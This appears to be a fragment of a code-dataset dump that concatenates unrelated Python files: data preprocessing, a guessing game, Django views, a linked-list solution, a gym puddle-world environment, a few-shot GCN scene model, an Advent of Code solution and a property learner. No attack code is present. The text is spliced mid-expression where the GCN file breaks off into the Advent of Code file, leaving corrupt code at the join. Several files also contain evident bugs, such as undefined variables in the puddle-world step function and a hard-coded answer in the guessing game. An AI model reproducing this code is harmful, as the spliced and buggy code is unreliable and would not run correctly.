for variable, data in raw_data.items():\n if data.shape[1]==6000:\n processed_data[variable] = scaler.fit_transform(data)\n\n elif data.shape[1]==600:\n processed = np.zeros((2205, 6000))\n data = scaler.fit_transform(data)\n for i, module in enumerate(data):\n for j, value in enumerate(module):\n processed[i, 10*j:10*j+10] = value\n processed_data[variable] = processed\n\n elif data.shape[1]==60:\n processed = np.zeros((2205, 6000))\n data = scaler.fit_transform(data)\n for i, module in enumerate(data):\n for j, value in enumerate(module):\n processed[i, 100*j:100*j+100]=value\n processed_data[variable] = processed\n\n else:\n print(\"shape error\")\n break\n\n else:\n for variable, data in raw_data.items():\n if data.shape[1]==6000:\n processed_data[variable] = data\n\n elif data.shape[1]==600:\n processed = np.zeros((2205, 6000))\n for i, module in enumerate(data):\n for j, value in enumerate(module):\n processed[i, 10*j:10*j+10] = value\n processed_data[variable] = processed\n\n elif data.shape[1]==60:\n processed = np.zeros((2205, 6000))\n for i, module in enumerate(data):\n for j, value in enumerate(module):\n processed[i, 100*j:100*j+100]=value\n processed_data[variable] = processed\n\n else:\n print(\"shape error\")\n break\n\n return processed_data\n\n\ndef get_profile():\n with open(\"profile.txt\") as f:\n profile = []\n for line in f:\n l = line.split()\n l = [int(x) for x in l]\n profile.append(l)\n\n return np.array(profile)\n\ndef get_variable_profile_set(Normalized=True):\n variable_data = pre_processing(Normalized=Normalized)\n profile = get_profile()\n variable_profile_set = []\n for i in range(2205):\n v = []\n p = profile[i]\n for _, data in variable_data.items():\n v.append(data[i])\n variable_profile_set.append((np.array(v),p))\n\n return variable_profile_set\n\n\n","sub_path":"unifying.py","file_name":"unifying.py","file_ext":"py","file_size_in_byte":3139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"583921692","text":"#!/usr/bin/env python3\n\n# Created by: Liam Csiffary\n# Created on: May 11, 2021\n# This program makes a random number and then has the user guess it\n# The user will get score based on their guess\n\n# this is a module that I found to generate random numbers\n# found on\n# https://www.programiz.com/python-programming/examples/random-number\nimport random\n\n\n# this is the fucntion that does everything\ndef random_number_fun():\n # make the random number\n random_num = random.randint(0, 9)\n random_num = 7\n # just as a test to make sure it was working\n print(random_num)\n\n # get the users guess\n user_num = input(\"What do you think the number is: \")\n\n # make sure the user inputed an integer\n try:\n int(user_num)\n except ValueError:\n print(\"'{}' is not a number\".format(user_num))\n random_number_fun()\n else:\n # FIRST CHECKING #############\n user_num = int(user_num)\n # check if the user got it right\n if (user_num == random_num):\n print(\"\\nCongratulations you got it right!\")\n random_number_fun()\n\n # check if the user got it wrong\n if (user_num != random_num):\n print(\"\\nSorry you got it wrong\")\n\n # ask user if they think their number is bigger or\n # smaller than their guess\n user_bigger_smaller = input(\n \"Do you think the random number was bigger or smaller?(b/s): \")\n\n # check if the user_num was bigger or smaller than the random_num\n if (user_num < random_num):\n bigger_smaller = \"b\"\n else:\n bigger_smaller = \"s\"\n\n # if they guessed right congratulate them\n if (bigger_smaller == user_bigger_smaller):\n print(\"\\nCongratulations you got it right!\")\n random_number_fun()\n\n else:\n print(\"\\nSorry you got it wrong\")\n print(\"The number was {}\".format(random_num))\n random_number_fun()\n\n\n# initial bootup of the program\nif __name__ == \"__main__\":\n random_number_fun()\n","sub_path":"num_guessing_better.py","file_name":"num_guessing_better.py","file_ext":"py","file_size_in_byte":2113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"218053821","text":"from django.shortcuts import render, get_object_or_404\r\nfrom django.views.generic.list import ListView\r\nfrom .models import *\r\nfrom Blog.forms import *\r\nfrom django.http.response import HttpResponseRedirect\r\nfrom django.urls import reverse\r\nfrom django.contrib.auth.models import User\r\n\r\n#재네릭뷰 : 장고에서 제공하는 여러가지 기능으로 나눈 뷰 클래스\r\n#클래스 기반의 뷰\r\n#class 뷰이름(기능별 뷰클래스):\r\n#ListView : 특정 객체의 목록을 다루는 기능을 가진 뷰 클래스\r\n\r\nclass index(ListView):\r\n template_name = \"Blog/templates/index.html\"\r\n model = Post\r\n context_object_name = 'list'\r\n paginate_by = 5\r\n #template_name='' html파일 문자열을 넣음\r\n #model : 모델클래스명을 입력\r\n #context_object_name : 탬플릿에서 사용할 객체 리스트의 변수명\r\n #paginate_by : 한페이지에 몇개의 객체가 보일지 숫자를 입력\r\n\r\ndef detail(request, post_id):\r\n obj = get_object_or_404(Post,pk=post_id)\r\n return render(request, 'blog/templates/detail.html',{'post' : obj})\r\n\r\nfrom django.contrib.auth.decorators import login_required\r\n#from .forms import * 상단에 작성\r\n@login_required\r\ndef posting(request):\r\n if request.method == \"GET\":\r\n form = PostForm()\r\n return render(request, \"blog/templates/posting.html\",{\"form\":form})\r\n elif request.method == \"POST\":\r\n form = PostForm(request.POST)\r\n if form.is_valid():\r\n #글쓴이를 저장하는 변수가 빈공간이므로 바로 데이터베이스에 저장하지 않고 Post객체로 변환\r\n obj = form.save(commit=False)\r\n obj.author = request.user #요청한 클라이언트의 유저와 매칭 \r\n obj.save() #객체를 데이터베이스에 저장\r\n #request.FILES : 클라이언트가 보낸 파일들에 대한 데이터\r\n #Image 객체 생성 및 저장\r\n #HTML 폼에서 name이 images로 지정된 파일을 추출\r\n for f in request.FILES.getlist('images'):\r\n image = Image(post=obj, image=f)#Image객체 생성\r\n image.save() #DB에 저장\r\n #File 객체 생성 및 저장\r\n for f in request.FILES.getlist('files'):\r\n file = File(post=obj,file=f )\r\n file.save()\r\n \r\n return HttpResponseRedirect( \r\n reverse('Blog:detail', args=(obj.id,) ) )\r\n \r\ndef searchP(request):\r\n q = request.GET.get('q','') # GET방식으로 들어온 q라는 이름의 데이터 얻어오기. \r\n # ''는 q라는 이름으로 값을 못 얻어냈을 때의 기본값을 지정.\r\n type = request.GET.get('type','0')\r\n # type이 0일 때는 제목 검색\r\n if type == '0':\r\n # 모델클래스.objects.filter(조건) : 특정 조건을 만족하는 모든 객체 추출\r\n # filter, get, exclude에 조건을 넣을 때 (모델클래스의변수__명령어 = 값) 형태로 넣음\r\n # contains : 우변값이 해당 변수에 포함되어 있는 객체를 모두 추출\r\n list = Post.objects.filter(headline__contains=q)\r\n return render(request,\"Blog/templates/searchP.html\",{'list':list})\r\n elif type == '1':\r\n user = User.objects.get(username = q) # username_iexact : 대소문자 구별 X\r\n # username_exact : 정확히 똑같은 것 검색(exact 생략 가능)\r\n # username_exact = q 랑 username = q 랑 똑같음!\r\n list = Post.objects.filter(author = user)\r\n return render(request, \"Blog/templates/searchP.html\",{'list':list})\r\n \r\n \r\n # type이 1일 때는 글쓴이 검색\r\n ","sub_path":"Django6/src/Blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"219250889","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n # @param {ListNode} head\n # @param {integer} n\n # @return {ListNode}\n def removeNthFromEnd(self, head, n):\n dummy = ListNode(0)\n dummy.next = head\n faster, slower = dummy, dummy\n for x in range(n):\n faster = faster.next\n while faster.next is not None:\n faster = faster.next\n slower = slower.next\n faster = slower.next.next\n slower.next = faster\n return dummy.next\n","sub_path":"remove_nth_node_from_end/remove_nth_node_from_end.py","file_name":"remove_nth_node_from_end.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"403881055","text":"### Import required libraries ###\n\nimport gym\nfrom gym import error, spaces, utils\nfrom gym.utils import seeding\nimport numpy as np\nimport os, sys, time, copy\nfrom PIL import Image as Image\nimport matplotlib.pyplot as plt\n\n''' Environment definition using OpenAI gym '''\n\nclass PuddleWorldEnv(gym.Env):\n \n ### 1. Initializer: To initialize the state and the action space\n \n def __init__(self):\n \n metadata = {'render.modes': ['human']}\n \n self.rows = 12\n self.cols = 12\n \n self.rewards = np.zeros((self.rows,self.cols))\n self.rewards[2:8,3:8] = -1\n self.rewards[3:7,4:7] = -2\n self.rewards[4:6,5:6] = -3\n self.rewards[5:6,6] = -2\n self.rewards[6:7,7] = -1\n self.rewards[7:8,8] = 0\n \n self.goals = [[0,11],[2,9],[7,8]]\n \n ## 0: Downward 1:Right 2: Upward 3: Left \n self.actions = {0: [-1,0],1: [0,1],2: [0,-1], 3: [1,0]}\n self.action_space = spaces.Discrete(len(self.actions))\n self.observation_space = spaces.Box(low = -3, high = 10, shape = self.rewards.shape)\n \n self.wb = 0\n \n self._seed()\n self.viewer = None\n self.state = None\n \n ### 2. Random seed generator\n \n def _seed(self, seed = None):\n self.np_random, seed = seeding.np_random(seed)\n return [seed]\n \n ### 3. Step: To generate the next state and action, given the current state\n \n def fix_goal(self,goal):\n \n if goal == 'A':\n x,y = self.goals[0]\n self.rewards[x,y] = 10\n self.wb = 1\n return [x,y]\n \n elif goal == 'B':\n x,y = self.goals[1]\n self.rewards[x,y] = 10\n self.wb = 1\n return [x,y]\n \n elif goal == 'C':\n x,y = self.goals[2]\n self.rewards[x,y] = 10\n self.wb = 0 \n return [x,y]\n \n def result_action(self, intended_action):\n \n prob = 0.1/3*np.ones(4)\n prob[action] = 0.9\n \n action = np.random.choice(len([0,1,2,3]),1, p = prob)[0]\n \n return action \n \n \n def step(self, state, intended_action, goal):\n \n action = result_action(self, intended_action)\n \n goal = fix_goal(self, goal)\n \n ## Including Westerly Blowing .....\n \n disp = 0\n if self.wb == 1:\n disp = np.random.choice(range(2),1,[0.5,0.5])[0] \n \n \n ## Ignoring off grid transitions ......\n \n L = [i for i in range(0,12)]\n \n x = state[0] + self.actions[action][0]\n y = state[1] + self.actions[action][1] + disp\n \n if not(x and y in L):\n \n x = state[0]\n y = state[1]\n \n reward = self.rewards([x,y])\n \n return [x,y], reward\n \n \n ### 4. Reset: Method to reset an episode\n \n def reset(self):\n \n start_states = [[6,0],[7,0],[10,0],[11,0]]\n self.state = start_states[np.random.randint(0, 4)]\n return self.state\n\n np.argmax(Q[:,self.state[0],self.state[1]])\n \n ### 5. Render: Method to render the environment\n \n def render(self):\n \n pass \n \n","sub_path":"EnvExample/puddle_world/envs/puddleworld_env.py","file_name":"puddleworld_env.py","file_ext":"py","file_size_in_byte":3367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"608773099","text":"# -*- coding: utf-8 -*-\r\nimport tensorflow as tf\r\nimport sys, traceback\r\nimport pdb\r\nimport time\r\nimport os\r\nimport json\r\nimport numpy as np\r\nimport pickle\r\nimport random\r\nimport gc\r\nimport cv2\r\nfrom utils import *\r\nfrom PIL import Image\r\nfrom sklearn.cluster import k_means, AgglomerativeClustering\r\n\r\nfilenameToPILImage = lambda x: Image.open(x).convert('RGB')\r\nimgsize = 224\r\nPiLImageResize = lambda x: x.resize((imgsize,imgsize))\r\n\r\n\r\ndef clamp(inputs, min_value=None, max_value=None):\r\n output = inputs\r\n if min_value is not None:\r\n output[output < min_value] = min_value\r\n if max_value is not None:\r\n output[output > max_value] = max_value\r\n return output\r\n\r\ndef logAndSign(inputs, k=5):\r\n eps = np.finfo(inputs.dtype).eps\r\n log = np.log(np.absolute(inputs) + eps)\r\n clamped_log = clamp(log / k, min_value=-1.0)\r\n sign = clamp(inputs * np.exp(k), min_value=-1.0, max_value=1.0)\r\n return np.concatenate([clamped_log, sign], axis=1)\r\ndef findSalientRegion(img, thresh):\r\n # iimg = (img > thresh).astype(np.uint8)\r\n _, iimg = cv2.threshold(img, thresh, 255, cv2.THRESH_BINARY)\r\n _, contours, _ = cv2.findContours(iimg.astype(np.uint8), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\r\n boxes = []\r\n for c in contours:\r\n x, y, w, h = cv2.boundingRect(c)\r\n boxes.append([imgsize, imgsize, x, y, x+w, y+h])\r\n boxes = np.array(boxes)\r\n return boxes\r\n\r\ndef get_im_list(im_dir, roi_dir, dest_dir, file_path, cam_dir):\r\n im_list = []\r\n im_labels = []\r\n roi_path = []\r\n dest_path = []\r\n cam_path = []\r\n with open(file_path, 'r') as fi:\r\n for line in fi:\r\n im_list.append(os.path.join(im_dir, line.split()[0]))\r\n im_labels.append(int(line.split()[-1]))\r\n fnewname = '_'.join(line.split()[0][:-4].split('/'))\r\n roi_path.append(os.path.join(roi_dir, fnewname + '.npy'))\r\n dest_path.append(os.path.join(dest_dir, fnewname + '.npy'))\r\n cam_path.append(os.path.join(cam_dir, fnewname + '.npy'))\r\n return im_list, im_labels, roi_path, dest_path, cam_path\r\n\t\r\ndef load_data(im_dir, roi_dir, dest_dir, file_path, batch_size, isroi=False, cam_dir='/tmp/mytmp'):\r\n\r\n im_list, im_labels, roi_path, dest_path, cam_path = get_im_list(im_dir, roi_dir,\r\n dest_dir, file_path, cam_dir)\r\n\r\n height = width = imgsize\r\n MEAN_VALUE = None\r\n norm_value = [[0.,0.,0.],[1.,1.,1.]]\r\n\r\n def _read_function_tf(impath, label, rpath):\r\n im_f = tf.read_file(impath)\r\n oim = tf.image.decode_jpeg(im_f, channels=3)\r\n rim = tf.image.resize_images(oim, [height, width])\r\n if MEAN_VALUE is not None:\r\n # convert RGB to BGR\r\n rim = tf.cast(tf.reverse(rim, axis=[-1]), tf.float32)\r\n mean_image = tf.convert_to_tensor(\r\n np.tile(MEAN_VALUE, [height, width, 1]), tf.float32)\r\n rim = tf.subtract(rim, mean_image)\r\n print('mean norm')\r\n elif norm_value is not None:\r\n rim = rim / 255.0\r\n mean_image = tf.convert_to_tensor(\r\n np.tile(norm_value[0], [height, width, 1]), tf.float32)\r\n rim = tf.subtract(rim, mean_image)\r\n rim /= norm_value[1]\r\n print('standard norm')\r\n # rim = tf.image.resize_image_with_crop_or_pad(rim, height, width)\r\n # rois = tf.convert_to_tensor(roi_data(image_size, rsize, rstride))\r\n return rim, label, rpath\r\n\r\n def _read_function(impath, label, rpath, cpath):\r\n im = cv2.imread(impath) # default BGR order\r\n rim = cv2.resize(im, (height, width))\r\n if MEAN_VALUE is not None:\r\n mean_image = np.tile(MEAN_VALUE, [height, width, 1])\r\n rim = rim - mean_image\r\n # print('mean norm')\r\n elif norm_value is not None:\r\n # convert BGR to RGB\r\n rim = rim[:, :, ::-1]\r\n rim = rim / 255.0\r\n mean_image = np.tile(norm_value[0], [height, width, 1])\r\n rim = rim - mean_image\r\n rim /= norm_value[1]\r\n # print('standard norm')\r\n return rim.astype(np.float32), label, rpath, cpath\r\n\r\n def _read_roi_function(impath, label, rpath, dpath):\r\n im = cv2.imread(impath) # default BGR order\r\n rim = cv2.resize(im, (height, width))\r\n if MEAN_VALUE is not None:\r\n mean_image = np.tile(MEAN_VALUE, [height, width, 1])\r\n rim = rim - mean_image\r\n # print('mean norm')\r\n elif norm_value is not None:\r\n # convert BGR to RGB\r\n rim = rim[:, :, ::-1]\r\n rim = rim / 255.0\r\n mean_image = np.tile(norm_value[0], [height, width, 1])\r\n rim = rim - mean_image\r\n rim /= norm_value[1]\r\n # print('standard norm')\r\n rois = np.load(rpath)\r\n return rim.astype(np.float32), rois.astype(np.float32), label, dpath\r\n\r\n if isroi:\r\n dataset = tf.data.Dataset.from_tensor_slices((im_list, im_labels, roi_path, dest_path))\r\n map_func = lambda impath, label, rpath, dpath: tuple(tf.py_func(\r\n _read_roi_function, [impath, label, rpath, dpath], [tf.float32, tf.float32, tf.int32, tf.string]))\r\n else:\r\n dataset = tf.data.Dataset.from_tensor_slices((im_list, im_labels, roi_path, cam_path))\r\n map_func = lambda impath, label, rpath, cpath: tuple(tf.py_func(\r\n _read_function, [impath, label, rpath, cpath], [tf.float32, tf.int32, tf.string, tf.string]))\r\n dataset = dataset.map(map_func)\r\n dataset = dataset.batch(batch_size)\r\n iterator = dataset.make_initializable_iterator()\r\n # not call iterator.get_next() in the loop, call next_element = iterator.get_next() once\r\n # outside the loop, and use next_element inside the loop\r\n next_element = iterator.get_next()\r\n\r\n return iterator, next_element\r\n\r\nclass GCNMetaModel(object):\r\n @classmethod\r\n def default_params(cls):\r\n return {\r\n 'lr_decay_epoch': 5,\r\n 'learning_rate': 0.005,\r\n 'out_layer_dropout_keep_prob': 0.5,\r\n 'edge_dims': 512,\r\n 'hidden_size': 512,\r\n 'num_timesteps': 2,\r\n 'n_cluster': 16,\r\n 'random_seed': 0,\r\n }\r\n def __init__(self, myconfig):\r\n #def __init__(self, args, myconfig):\r\n args=[]\r\n #myconfig = None\r\n self.args = args\r\n # Collect parameters:\r\n params = self.default_params()\r\n\r\n if myconfig is not None:\r\n params.update(myconfig)\r\n self.params = params\r\n\r\n # Collect argument things:\r\n self.train_dir = '/home/cll/fewshotlearning/GCN_feature/'\r\n #self.img_dir = '/home/cll/SUN397_224/'\r\n self.img_dir = '/home/0_public_data/MIT67/Images'\r\n self.roi_dir = self.train_dir + 'cluster_based/rois1shot'\r\n \r\n\r\n #self.train_data = json.load(open('sun_oneshot_train.json','r'))\r\n self.train_data = json.load(open('mit_oneshot_train.json','r'))\r\n\r\n #self.test_data = json.load(open('sun_oneshot_test.json','r'))\r\n self.test_data = json.load(open('mit_oneshot_test.json','r'))\r\n\r\n random.seed(params['random_seed'])\r\n np.random.seed(params['random_seed'])\r\n\r\n config = tf.ConfigProto()\r\n config.gpu_options.allow_growth = True\r\n self.sess = tf.Session(config=config)\r\n tf.set_random_seed(params['random_seed'])\r\n\r\n self.placeholders = {}\r\n self.weights = {}\r\n self.ops = {}\r\n with tf.variable_scope(\"graph_model\"):\r\n self.prepare_specific_graph_model()\r\n with tf.variable_scope(\"meta_model\"):\r\n self.weights['meta1'] = MLP(2,1,[20,20],1.0)\r\n self.weights['meta2'] = MLP(2,1,[20,20],1.0)\r\n with tf.variable_scope(\"out_layer\"):\r\n with tf.variable_scope(\"regression_gate\"):\r\n self.weights['regression_node'] = MLP(self.params['out_size'], 5, [],\r\n self.placeholders['out_layer_dropout_keep_prob'])\r\n with tf.variable_scope(\"regression\"):\r\n self.weights['regression_transform'] = MLP(self.params['out_size'], 5, [],\r\n self.placeholders['out_layer_dropout_keep_prob'])\r\n self.get_grad()\r\n self.make_model()\r\n self.make_train_step()\r\n self.initialize_model()\r\n self.update_rois()\r\n\r\n def define_adj_salient_region(self, ROIS):\r\n # methods from visual relationship Detection with Internal and External Knowledge Distillation\r\n r=[]\r\n r.append([224.,224.,0.,0.,224.,224.])\r\n for i in range(self.params['n_cluster']):\r\n r.append(ROIS[i])\r\n r=np.array(r)\r\n rois=r\r\n nc, _ = r.shape\r\n spatial_feats = np.zeros([nc, 5], dtype=np.float32)\r\n spatial_feats[:, [0, 2]] = rois[:, [2, 4]] / rois[:, 0][:, None]\r\n spatial_feats[:, [1, 3]] = rois[:, [3, 5]] / rois[:, 1][:, None]\r\n spatial_feats[:, 4] = ((rois[:, 4] - rois[:, 2]) * (rois[:, 5] - rois[:, 3])) /(rois[:, 0] * rois[:, 1])\r\n sfeats1 = np.tile(spatial_feats[:, None, :], [1, nc, 1])\r\n sfeats2 = np.tile(spatial_feats[None, :, :], [nc, 1, 1])\r\n _adjm = np.concatenate([sfeats1, sfeats2], axis=-1)\r\n return _adjm\r\n\r\n def initialize_model(self):\r\n init_op = tf.group(tf.global_variables_initializer(), tf.local_variables_initializer())\r\n self.sess.run(init_op)\r\n\r\n\r\n\r\n def prepare_specific_graph_model(self):\r\n h_dim = self.params['hidden_size']\r\n # inputs\r\n self.placeholders['graph_state_keep_prob'] = tf.placeholder(tf.float32, None, name='graph_state_keep_prob')\r\n self.placeholders['relation_keep_prob'] = tf.placeholder(tf.float32, None, name='relation_keep_prob')\r\n self.placeholders['node_keep_rate'] = tf.placeholder(tf.float32, None, name='node_keep_rate')\r\n self.placeholders['support_x'] = tf.placeholder(tf.float32,[5,224,224,3],name='support_x')\r\n self.placeholders['support_roi'] = tf.placeholder(tf.float32,[5,self.params['n_cluster'],6],name='support_roi')\r\n self.placeholders['target_x'] = tf.placeholder(tf.float32,[40,224,224,3],name='target_x')\r\n self.placeholders['target_roi'] = tf.placeholder(tf.float32,[40,self.params['n_cluster'],6],name='target_roi')\r\n self.placeholders['num_vertices'] = tf.placeholder(tf.int32, None)\r\n self.placeholders['support_adj'] = tf.placeholder(tf.float32,[5,self.params['n_cluster']+1,self.params['n_cluster']+1,self.params['edge_dims']],name='support_adj')\r\n self.placeholders['target_adj'] = tf.placeholder(tf.float32,[40,self.params['n_cluster']+1,self.params['n_cluster']+1,self.params['edge_dims']],name='target_adj')\r\n \r\n self.placeholders['support_label'] = tf.placeholder(tf.int32, [5])\r\n self.placeholders['target_label'] = tf.placeholder(tf.int32, [40])\r\n #MIT67-5280 SUN397-9760\r\n self.placeholders['grad'] = tf.placeholder(tf.float32, [5, None, 2])\r\n #self.placeholders['grad'] = tf.placeholder(tf.float32, [5, 9760, 2])\r\n self.placeholders['grad1'] = tf.placeholder(tf.float32, [5, 5, 2])\r\n self.placeholders['support_v'] = tf.placeholder(tf.int32, [5])\r\n self.placeholders['target_v'] = tf.placeholder(tf.int32, [40])\r\n self.placeholders['is_training'] = tf.placeholder(tf.bool)\r\n self.placeholders['num_graphs'] = tf.placeholder(tf.int64, [], name='num_graphs')\r\n self.placeholders['out_layer_dropout_keep_prob'] = tf.placeholder(tf.float32, [], name='out_layer_dropout_keep_prob')\r\n\r\n\r\n def gated_regression_v6(self, last_h, regression_node, regression_transform):\r\n # last_h: [b x v x h]\r\n last_h1 = tf.reshape(last_h[:, 1:, :], [-1, self.params['out_size']])\r\n node_out = regression_node(last_h1)\r\n print(node_out.shape)\r\n self.node_out = node_out\r\n last_h = last_h[:, 0, :]\r\n output = regression_transform(last_h)\r\n self.output = output\r\n return output\r\n\t\t\r\n def compute_keys(self, input):\r\n is_training = self.placeholders['is_training']\r\n with tf.variable_scope('keys', reuse=tf.AUTO_REUSE) as scope:\r\n x = conv(input, 3, 64, 1, pad=1, name='keys_1_conv', with_bias=True)\r\n x = BatchNorm(x, is_training, name='keys_1_bn')\r\n x = tf.nn.relu(x)\r\n print(x.shape)\r\n x = max_pool(x, 2, 2, padding='SAME')\r\n print(x.shape)\r\n\r\n # Layer 2 in (56x56)\r\n x = conv(x, 3, 64, 1, pad=1, name='keys_2_conv', with_bias=True)\r\n x = BatchNorm(x, is_training, name='keys_2_bn')\r\n x = tf.nn.relu(x)\r\n print(x.shape)\r\n x = max_pool(x, 2, 2, padding='SAME')\r\n print(x.shape)\r\n\r\n # Layer 3 in (56x56)\r\n x = conv(x, 3, 64, 1, pad=1, name='keys_3_conv', with_bias=True)\r\n x = BatchNorm(x, is_training, name='keys_3_bn')\r\n x = tf.nn.relu(x)\r\n x = max_pool(x, 2, 2, padding='SAME')\r\n print(x.shape)\r\n\r\n # Layer 4 in (56x56)\r\n x = conv(x, 3, 64, 1, pad=1, name='keys_4_conv', with_bias=True)\r\n x = BatchNorm(x, is_training, name='keys_4_bn')\r\n x = tf.nn.relu(x)\r\n x = max_pool(x, 2, 2, padding='SAME')\r\n print(x.shape)\r\n \r\n x = conv(x, 3, 64, 1, pad=1, name='keys_5_conv', with_bias=True)\r\n x = tf.nn.relu(x)\r\n x = max_pool(x, 2, 2, padding='SAME')\r\n print(x.shape)\r\n \r\n return tf.contrib.layers.flatten(x) \r\n \r\n def run_cnn(self, X, is_training=False):\r\n x = conv(X, 3, 64, 1, pad=1, name='clf1_conv', with_bias=True)\r\n x = BatchNorm(x, is_training, name='clf1_bn')\r\n x = tf.nn.leaky_relu(x)\r\n x = max_pool(x, 2, 2, padding='SAME')\r\n # Layer 2 in (56x56)\r\n x = conv(x, 3, 64, 1, pad=1, name='clf2_conv', with_bias=True)\r\n x = BatchNorm(x, is_training, name='clf2_bn')\r\n x = tf.nn.leaky_relu(x)\r\n x = max_pool(x, 2, 2, padding='SAME')\r\n # Layer 3 in (56x56)\r\n x = conv(x, 3, 64, 1, pad=1, name='clf3_conv', with_bias=True)\r\n x = BatchNorm(x, is_training, name='clf3_bn')\r\n x = tf.nn.leaky_relu(x)\r\n x = max_pool(x, 2, 2, padding='SAME')\r\n # Layer 4 in (28x28)\r\n layer4 = conv(x, 3, 64, 1, pad=1, name='clf4_conv', with_bias=True)\r\n layer4 = BatchNorm(layer4, is_training, name='clf4_bn')\r\n layer4 = tf.nn.leaky_relu(layer4)\r\n layer4 = max_pool(layer4, 2, 2, padding='SAME')\r\n return layer4\r\n \r\n \r\n def extract_salient_region_scda_adapt(self,sess, tfcam, fdict, batch_input):\r\n batch_im, batch_label, batch_rpath, batch_cpath = batch_input\r\n ocam = sess.run([tfcam], feed_dict={fdict['x']: batch_im})\r\n ocam = np.squeeze(ocam)\r\n ocam = np.transpose(ocam, [2, 0, 1])\r\n ocam_valid_check = ocam.max(axis=(1, 2))\r\n thre = ocam_valid_check.mean()\r\n ocam_vind = np.where(ocam_valid_check > thre)\r\n ocam_valid = ocam[ocam_vind[0]]\r\n boxes = []\r\n for ocv in ocam_valid:\r\n oim = cv2.resize(ocv, (imgsize, imgsize))\r\n box = findSalientRegion(oim, thre)\r\n if box.size:\r\n boxes.append(box)\r\n boxes = np.concatenate(boxes, axis=0)\r\n #print(ocam_valid.shape, boxes.shape)\r\n clustering = AgglomerativeClustering(n_clusters=min([self.params['n_cluster'],boxes.shape[0]]))\r\n clustering.fit(boxes)\r\n boxes_dedup = []\r\n for i in range(min([self.params['n_cluster'],boxes.shape[0]])):\r\n ind = np.where(clustering.labels_ == i)[0]\r\n boxes_pick = boxes[ind]\r\n boxes_dedup.append(boxes_pick.mean(axis=0))\r\n \r\n if boxes.shape[0]= max_x:\n\t\t\tmax_x = x\n\t\tif y >= max_y:\n\t\t\tmax_y = y\n\n\n# data = [map(int, i.split(', ')) for i in open('data.txt').readlines()]\n\ngrid = {}\nfor i in range(max_x):\n\tfor j in range(max_y):\n\t\tm = min(abs(i-k) + abs(j-l) for k, l in data)\n\t\tfor n, (k,l) in enumerate(data):\n\t\t\tif abs(i-k) + abs(j-l) == m:\n\t\t\t\tif grid.get((i,j), -1) != -1:\n\t\t\t\t\tgrid[i, j] = -1\n\t\t\t\t\tbreak\n\t\t\t\tgrid[i, j] = n\n\ns = set([-1])\ns = s.union(set(grid[x, max_y-1] for x in range(max_x)))\ns = s.union(set(grid[x, 0] for x in range(max_x)))\ns = s.union(set(grid[max_x-1, y] for y in range(max_y)))\ns = s.union(set(grid[0, y] for y in range(max_y)))\n\n# Part 1 answer\nprint (next(i[1] for i in Counter(grid.values()).most_common() if i[0] not in s))\n\n# Part 2 answer\nprint (sum(sum(abs(i-k)+abs(j-l) for k, l in data) < 10000 for i in range(max_x) for j in range(max_y)))","sub_path":"2018/day_6/part_2.py","file_name":"part_2.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"289699331","text":"from . import util\nimport numpy as np\nimport os\nimport torch\nfrom torch.utils.data import Dataset, DataLoader\nimport pickle\nimport sys\n\nif torch.cuda.is_available():\n\tprint(\"Using GPU\")\n\tTensor = torch.cuda.FloatTensor\nelse:\n\tprint(\"Using CPU\")\n\tTensor = torch.FloatTensor\n\nclass CarboxLearner(object): \n\tdef __init__(self, data_dir, task, feature=\"point\", property=\"stiff\"):\n\t\tself.data_dir = data_dir\n\t\tself.task = task\n\t\tself.feature = feature\n\t\tself.property = property\n\t\tassert self.feature in [\"point\"]\n\t\tassert self.property in [\"stiff\"]\n\t\tself.valueNet = None\n\t\tif feature == \"point\":\n\t\t\tself.valueNet = util.point.PointNet(self.task)\n\t\tself.data_set = {}\n\t\tself.n_fit = 1000\n\n\tdef predict(self, linkerName):\n\t\tfeature_file = os.path.join(self.data_dir, \"feature\", self.feature, linkerName + \".npy\")\n\t\tarr = np.load(feature_file)\n\t\t#arr = np.expand_dims(arr, axis=0)\n\t\test = self.valueNet([Tensor(arr)])\n\t\treturn est.detach().cpu().numpy()\n\n\tdef addData(self, linkerName):\n\t\tfeature_file = os.path.join(self.data_dir, \"feature\", self.feature, linkerName + \".npy\")\n\t\tproperty_file = os.path.join(self.data_dir, \"property\", self.property, linkerName + \".npy\")\n\t\tself.data_set[linkerName] = (np.load(feature_file), np.load(property_file))\n\t\treturn len(self.data_set)\n\n\n\tdef fitModel(self):\n\t\tbatch_size = len(self.data_set) if len(self.data_set) < 32 else 32\n\t\tcriterion = torch.nn.MSELoss()\n\n\t\t\n\t\tsum_loss = 0\n\t\tfor _ in range(self.n_fit):\n\t\t\tbatch_keys = np.random.choice(list(self.data_set.keys()), batch_size, replace=False)\n\t\t\tbatch_feature = [Tensor(self.data_set[key][0]) for key in batch_keys]\n\t\t\tbatch_target = self.valueNet(batch_feature)\n\t\t\tbatch_property = torch.stack([Tensor(self.data_set[key][1]) for key in batch_keys])\n\n\t\t\t\n\t\t\tloss = criterion(batch_target, batch_property)\n\t\t\tsum_loss += loss.detach().cpu().numpy()\n\t\t\tself.valueNet.optimizer.zero_grad()\n\t\t\tloss.backward()\n\t\t\tself.valueNet.optimizer.step()\n\n\t\treturn sum_loss / self.n_fit\n\n\n\n\n\n\n\n\n\n\t","sub_path":"MorfLearn/learner/carboxLearner.py","file_name":"carboxLearner.py","file_ext":"py","file_size_in_byte":1973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"45019569","text":"import os\n\nimport clique\nimport capture\n\nfrom openpype.pipeline import publish\nfrom openpype.hosts.maya.api import lib\n\nfrom maya import cmds\nimport pymel.core as pm\n\n\nclass ExtractPlayblast(publish.Extractor):\n \"\"\"Extract viewport playblast.\n\n Takes review camera and creates review Quicktime video based on viewport\n capture.\n\n \"\"\"\n\n label = \"Extract 